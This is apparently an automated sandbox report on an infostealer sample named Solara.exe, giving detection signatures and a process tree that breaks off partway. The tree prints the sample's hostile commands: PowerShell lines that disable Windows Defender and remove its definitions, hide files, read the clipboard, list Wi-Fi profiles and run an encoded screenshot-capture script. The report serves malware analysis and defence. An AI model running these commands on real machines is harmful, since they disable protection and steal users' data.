Overview

overview

10

Static

static

10

Solara.exe

windows10-2004-x64

9

Solara.exe

windows10-ltsc 2021-x64

10

Solara.exe

windows11-21h2-x64

8

Resubmissions

14/11/2024, 18:47

241114-xfbfvs1mdy10

14/11/2024, 18:43

241114-xcy3rasaqm10

Analysis

  • max time kernel
    98s
  • max time network
    146s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    14/11/2024, 18:47

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Solara.exe
  • Size 8.5MB
  • Sample241114-xfbfvs1mdy
  • SHA256 aefc3487d439bd87a9de7e5b25d18ab8839096fa6b08e9192c563c6ec0550292
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
collectioncredential_accessdefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 28 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unexpected DNS network traffic destination 22 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Blocklisted process makes network request 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 53 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 21 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 30 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 62 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Solara.exe
    "C:\Users\Admin\AppData\Local\Temp\Solara.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2076
      • C:\Users\Admin\AppData\Local\Temp\Built.exe
        "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1612
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2648
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3812
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            5⤵
            • Deletes Windows Defender Definitions
            PID:4532
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2264
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:664
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4452
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2224
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            5⤵
              PID:464
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:968
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              5⤵
                PID:2328
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2300
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                5⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:3764
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2560
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                5⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:1908
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""
              4⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:1812
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"
                5⤵
                • Views/modifies file attributes
                PID:4472
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎   .scr'"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:520
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎   .scr'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3552
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4408
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                5⤵
                • Enumerates processes with tasklist
                PID:4416
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:404
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                5⤵
                • Enumerates processes with tasklist
                PID:4188
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              4⤵
                PID:1568
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3936
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                4⤵
                • Clipboard Data
                PID:2188
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  5⤵
                  • Clipboard Data
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2012
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                  PID:3276
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    5⤵
                      PID:2996
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      5⤵
                      • Enumerates processes with tasklist
                      PID:1496
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                      PID:3168
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:1680
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        4⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:8
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          5⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:4476
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        4⤵
                          PID:708
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            5⤵
                            • Gathers system information
                            PID:5084
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                          4⤵
                            PID:2096
                            • C:\Windows\System32\Conhost.exe
                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              5⤵
                                PID:2224
                              • C:\Windows\system32\reg.exe
                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                5⤵
                                  PID:3600
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                4⤵
                                  PID:1148
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4268
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j3a5ofja\j3a5ofja.cmdline"
                                      6⤵
                                        PID:3528
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAA2A.tmp" "c:\Users\Admin\AppData\Local\Temp\j3a5ofja\CSC2A087EEC141B40A68CB3A45693D12A7.TMP"
                                          7⤵
                                            PID:768
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      4⤵
                                        PID:4532
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          5⤵
                                            PID:2360
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                          4⤵
                                            PID:3120
                                            • C:\Windows\system32\attrib.exe
                                              attrib -r C:\Windows\System32\drivers\etc\hosts
                                              5⤵
                                              • Drops file in Drivers directory
                                              • Views/modifies file attributes
                                              PID:4928
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            4⤵
                                              PID:3972
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                5⤵
                                                  PID:3776
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                4⤵
                                                  PID:1404
                                                  • C:\Windows\system32\attrib.exe
                                                    attrib +r C:\Windows\System32\drivers\etc\hosts
                                                    5⤵
                                                    • Drops file in Drivers directory
                                                    • Views/modifies file attributes
                                                    PID:4560
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  4⤵
                                                    PID:4676
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      5⤵
                                                        PID:3396
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                      4⤵
                                                        PID:3548
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist /FO LIST
                                                          5⤵
                                                          • Enumerates processes with tasklist
                                                          PID:3456
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        4⤵
                                                          PID:4964
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            5⤵
                                                              PID:3208
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                            4⤵
                                                              PID:3000
                                                              • C:\Windows\system32\tree.com
                                                                tree /A /F
                                                                5⤵
                                                                  PID:940
                                                              • C:\Windows\system32\cmd.exe
